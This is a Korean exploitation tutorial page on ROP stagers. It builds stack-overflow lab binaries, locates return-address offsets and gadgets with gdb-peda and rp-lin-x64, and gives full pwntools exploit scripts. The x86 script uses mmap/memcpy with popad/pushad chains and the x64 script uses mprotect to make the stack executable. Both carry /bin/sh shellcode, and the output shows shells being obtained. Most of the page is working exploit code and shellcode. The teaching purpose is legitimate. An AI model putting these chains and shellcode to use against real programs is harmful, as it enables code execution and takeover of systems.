Excuse the ads! We need some help to keep our site up.
//gcc -m32 -fno-stack-protector -o rop rop.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
0x0804854b : vuln 함수 코드 첫부분
0x08048587 : read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ gdb -q ./rop Reading symbols from ./rop...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x0804854b <+0>: push ebp 0x0804854c <+1>: mov ebp,esp 0x0804854e <+3>: sub esp,0x48 0x08048551 <+6>: sub esp,0x8 0x08048554 <+9>: push 0x8048650 0x08048559 <+14>: push 0xffffffff 0x0804855b <+16>: call 0x8048430 <dlsym@plt> 0x08048560 <+21>: add esp,0x10 0x08048563 <+24>: mov DWORD PTR [ebp-0xc],eax 0x08048566 <+27>: sub esp,0x8 0x08048569 <+30>: push DWORD PTR [ebp-0xc] 0x0804856c <+33>: push 0x8048657 0x08048571 <+38>: call 0x8048400 <printf@plt> 0x08048576 <+43>: add esp,0x10 0x08048579 <+46>: sub esp,0x4 0x0804857c <+49>: push 0x100 0x08048581 <+54>: lea eax,[ebp-0x3e] 0x08048584 <+57>: push eax 0x08048585 <+58>: push 0x0 0x08048587 <+60>: call 0x80483f0 <read@plt> 0x0804858c <+65>: add esp,0x10 0x0804858f <+68>: nop 0x08048590 <+69>: leave 0x08048591 <+70>: ret End of assembler dump. gdb-peda$ b *0x0804854b Breakpoint 1 at 0x804854b gdb-peda$ b *0x08048587 Breakpoint 2 at 0x8048587 gdb-peda$ |
Return address(0xffffd5cc) - buf 변수의 시작 주소 (0xffffd58a) = 66
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROPStager/mmap/rop Hello ROP Breakpoint 1, 0x0804854b in vuln () gdb-peda$ i r esp esp 0xffffd5cc 0xffffd5cc gdb-peda$ x/wx 0xffffd5cc 0xffffd5cc: 0x080485bc gdb-peda$ c Continuing. Printf() address : 0xf7e4b020 Breakpoint 2, 0x08048587 in vuln () gdb-peda$ i r esp esp 0xffffd570 0xffffd570 gdb-peda$ x/3wx 0xffffd570 0xffffd570: 0x00000000 0xffffd58a 0x00000100 gdb-peda$ p/d 0xffffd5cc - 0xffffd58a $1 = 66 gdb-peda$ |
|
mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0) memcpy(0x20000000,'address of shellcode',len(shellcode)) |
Libc의 memcpy() 함수는 CPU가 지원하는 스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE)에 맞는 함수의 주소값을 리턴합니다.
스트리밍 SIMD 확장(Streaming SIMD Extensions, SSE) 종료 : SSE, SSE2, SSSE3, ...
gdb-peda$ disassemble memcpy Dump of assembler code for function memcpy: 0xf7629860 <+0>: call 0xf76d028d 0xf7629865 <+5>: add edx,0x13979b 0xf762986b <+11>: mov ecx,DWORD PTR [edx-0xdc] 0xf7629871 <+17>: lea eax,[edx-0x139730] 0xf7629877 <+23>: test DWORD PTR [ecx+0x68],0x4000000 0xf762987e <+30>: je 0xf76298b3 <memcpy+83> 0xf7629880 <+32>: lea eax,[edx-0x8bc10] 0xf7629886 <+38>: test DWORD PTR [ecx+0x94],0x10 0xf7629890 <+48>: jne 0xf76298b3 <memcpy+83> 0xf7629892 <+50>: test DWORD PTR [ecx+0x64],0x200 0xf7629899 <+57>: je 0xf76298b3 <memcpy+83> 0xf762989b <+59>: lea eax,[edx-0x8ae20] 0xf76298a1 <+65>: test DWORD PTR [ecx+0x94],0x1 0xf76298ab <+75>: je 0xf76298b3 <memcpy+83> 0xf76298ad <+77>: lea eax,[edx-0x84be0] 0xf76298b3 <+83>: ret End of assembler dump. gdb-peda$ |
https://github.com/walac/glibc/blob/master/sysdeps/x86_64/multiarch/memcpy.S |
Instruction | Description |
---|---|
POPAD |
|
PUSHAD |
|
|
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 2| grep "xchg eax, edi" ... 0x0007633e: xchg eax, edi ; mov esi, edx ; ret ; (1 found) ... lazenca0x0@ubuntu:~/Exploit/ROPStager$ |
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "popad" ... 0x00168dfe: popad ; ret ; (1 found) 0x0017ac05: popad ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager$ |
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "pushad" ... 0x0000979c: pushad ; ret ; (1 found) 0x0011cf5d: pushad ; ret ; (1 found) 0x00161f60: pushad ; ret ; (1 found) 0x001656b0: pushad ; ret ; (1 found) 0x001685f8: pushad ; ret ; (1 found) 0x00179a5f: pushad ; ret ; (1 found) 0x0017cd48: pushad ; ret ; (1 found) 0x00188a91: pushad ; ret ; (1 found) 0x0018a8ae: pushad ; ret ; (1 found) 0x00194f2e: pushad ; ret ; (1 found) 0x0019b140: pushad ; ret ; (1 found) ... lazenca0x0@ubuntu:~/Exploit/ROPStager$ |
from pwn import * from struct import * #context.log_level = 'debug' #32bit OS libc = ELF("/lib/i386-linux-gnu/libc-2.23.so") #64bit OS #libc = ELF("/lib32/libc-2.23.so") shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" binary = ELF('./rop') p = process(binary.path) p.recvuntil('Printf() address : ') stackAddr = p.recvuntil('\n') stackAddr = int(stackAddr,16) new_memory = 0x20000000 #Libc libc_base = stackAddr - 0x49020 libc_mmap = libc_base + libc.symbols['mmap'] libc_memcpy = libc_base + libc.symbols['memcpy'] #ROP Gadget libc_popad = libc_base + 0x00168dfe libc_xchg_eax_edi = libc_base + 0x0007633e libc_pop_esi = libc_base + 0x00017828 libc_pop_ebp = libc_base + 0x000179a7 libc_pop_ebx = libc_base + 0x00018395 libc_pushad = libc_base + 0x0000979c log.info('Libc base : '+hex(libc_base)) log.info('mmap addr : '+hex(libc_mmap)) log.info('memcpy addr : '+hex(libc_memcpy)) payload = "A"*66 #mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0) payload += p32(libc_mmap) payload += p32(libc_popad) payload += p32(new_memory) payload += p32(0x1000) payload += p32(0x7) payload += p32(0x22) payload += p32(0xffffffff) payload += p32(0) payload += 'AAAA' * 2 #memcpy(new_memory,'address of shellcode',(len(shellcode)) payload += p32(libc_memcpy) payload += p32(libc_xchg_eax_edi) payload += p32(libc_pop_esi) payload += p32(new_memory) payload += p32(libc_pop_ebp) payload += p32(new_memory) payload += p32(libc_pop_ebx) payload += p32(len(shellcode)) payload += p32(libc_pushad) payload += shellcode p.send(payload) p.interactive() |
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ python rop.py [*] '/lib32/libc-2.23.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [*] '/home/lazenca0x0/Exploit/ROPStager/mmap/rop' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) [+] Starting local process '/home/lazenca0x0/Exploit/ROPStager/mmap/rop': pid 43618 [*] Libc base : 0xf75f5000 [*] mmap addr : 0xf76d6060 [*] memcpy addr : 0xf766b860 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |
//gcc -fno-stack-protector -o rop rop.c -ldl #define _GNU_SOURCE #include <stdio.h> #include <unistd.h> #include <dlfcn.h> void vuln(){ char buf[50]; void (*printf_addr)() = dlsym(RTLD_NEXT, "printf"); printf("Printf() address : %p\n",printf_addr); printf("buf[50] address : %p\n",buf); read(0, buf, 256); } void main(){ write(1,"Hello ROP\n",10); vuln(); } |
0x4006c6: vuln 함수 코드 첫부분
0x400720: read() 함수 호출 전
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ gdb -q ./rop64 Reading symbols from ./rop64...(no debugging symbols found)...done. gdb-peda$ disassemble vuln Dump of assembler code for function vuln: 0x00000000004006c6 <+0>: push rbp 0x00000000004006c7 <+1>: mov rbp,rsp 0x00000000004006ca <+4>: sub rsp,0x40 0x00000000004006ce <+8>: mov esi,0x4007d4 0x00000000004006d3 <+13>: mov rdi,0xffffffffffffffff 0x00000000004006da <+20>: call 0x4005b0 <dlsym@plt> 0x00000000004006df <+25>: mov QWORD PTR [rbp-0x8],rax 0x00000000004006e3 <+29>: mov rax,QWORD PTR [rbp-0x8] 0x00000000004006e7 <+33>: mov rsi,rax 0x00000000004006ea <+36>: mov edi,0x4007db 0x00000000004006ef <+41>: mov eax,0x0 0x00000000004006f4 <+46>: call 0x400580 <printf@plt> 0x00000000004006f9 <+51>: lea rax,[rbp-0x40] 0x00000000004006fd <+55>: mov rsi,rax 0x0000000000400700 <+58>: mov edi,0x4007f2 0x0000000000400705 <+63>: mov eax,0x0 0x000000000040070a <+68>: call 0x400580 <printf@plt> 0x000000000040070f <+73>: lea rax,[rbp-0x40] 0x0000000000400713 <+77>: mov edx,0x100 0x0000000000400718 <+82>: mov rsi,rax 0x000000000040071b <+85>: mov edi,0x0 0x0000000000400720 <+90>: call 0x400590 <read@plt> 0x0000000000400725 <+95>: nop 0x0000000000400726 <+96>: leave 0x0000000000400727 <+97>: ret End of assembler dump. gdb-peda$ b *0x00000000004006c6 Breakpoint 1 at 0x4006c6 gdb-peda$ b *0x0000000000400720 Breakpoint 2 at 0x400720 gdb-peda$ |
Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/ROPStager/mprotect/rop64 Hello ROP Breakpoint 1, 0x00000000004006c6 in vuln () gdb-peda$ i r rsp rsp 0x7fffffffe488 0x7fffffffe488 gdb-peda$ c Continuing. Printf() address : 0x7ffff785e800 buf[50] address : 0x7fffffffe440 Breakpoint 2, 0x0000000000400720 in vuln () gdb-peda$ i r rsi rsi 0x7fffffffe440 0x7fffffffe440 gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440 $1 = 72 gdb-peda$ |
|
mprotect(address of shellcode,0x2000,0x7) |
|
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f ./rop64 -r 1| grep "pop rdi" 0x004007b3: pop rdi ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ |
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2| grep "pop rdx" ... 0x001150a3: pop rdx ; pop r10 ; ret ; (1 found) 0x001150a4: pop rdx ; pop r10 ; ret ; (1 found) 0x00101ffc: pop rdx ; pop rbx ; ret ; (1 found) 0x001194ab: pop rdx ; pop rbx ; ret ; (1 found) 0x0011d174: pop rdx ; pop rbx ; ret ; (1 found) 0x001435b2: pop rdx ; pop rbx ; ret ; (1 found) 0x001435fa: pop rdx ; pop rbx ; ret ; (1 found) 0x00143824: pop rdx ; pop rbx ; ret ; (1 found) 0x001150c9: pop rdx ; pop rsi ; ret ; (1 found) 0x00001b92: pop rdx ; ret ; (1 found) 0x00001b96: pop rdx ; ret ; (1 found) 0x00001b9a: pop rdx ; ret ; (1 found) 0x00001b9e: pop rdx ; ret ; (1 found) 0x001150a6: pop rdx ; ret ; (1 found) lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ |
from pwn import * from struct import * #context.log_level = 'debug' shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so") libcbase_printf_offset = libc.symbols['printf'] libcbase_mprotect_offset = libc.symbols['mprotect'] pop_rdi_ret = 0x004007b3 pop_rdx_ret_offset = 0x1150c9 r = process('./rop64') r.recvn(10) r.recvuntil('Printf() address : ') libcbase = int(r.recvuntil('\n'),16) libcbase -= libcbase_printf_offset r.recvuntil('buf[50] address : ') stack = int(r.recvuntil('\n'),16) back = str(hex(stack)) shellArea = int(back[0:11] + '000',16) log.info(back[0:11]) log.info(hex(shellArea)) log.info("libcbase : " + hex(libcbase)) log.info("stack : " + hex(stack)) log.info("mprotect() : " + hex(libcbase + libcbase_mprotect_offset)) payload = shellcode payload += "A" * (72 - len(shellcode)) #mprotect(address of shellcode,0x2000,0x7) payload += p64(pop_rdi_ret) payload += p64(shellArea) payload += p64(libcbase + pop_rdx_ret_offset) payload += p64(0x7) payload += p64(0x2000) payload += p64(libcbase + libcbase_mprotect_offset) payload += p64(stack) r.send(payload) r.interactive() |
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ python rop.py [*] '/lib/x86_64-linux-gnu/libc-2.23.so' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './rop64': pid 43561 [*] 0x7ffd0e0a4 [*] 0x7ffd0e0a4000 [*] libcbase : 0x7fe88a73e000 [*] stack : 0x7ffd0e0a4470 [*] mprotect() : 0x7fe88a83f770 [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $ |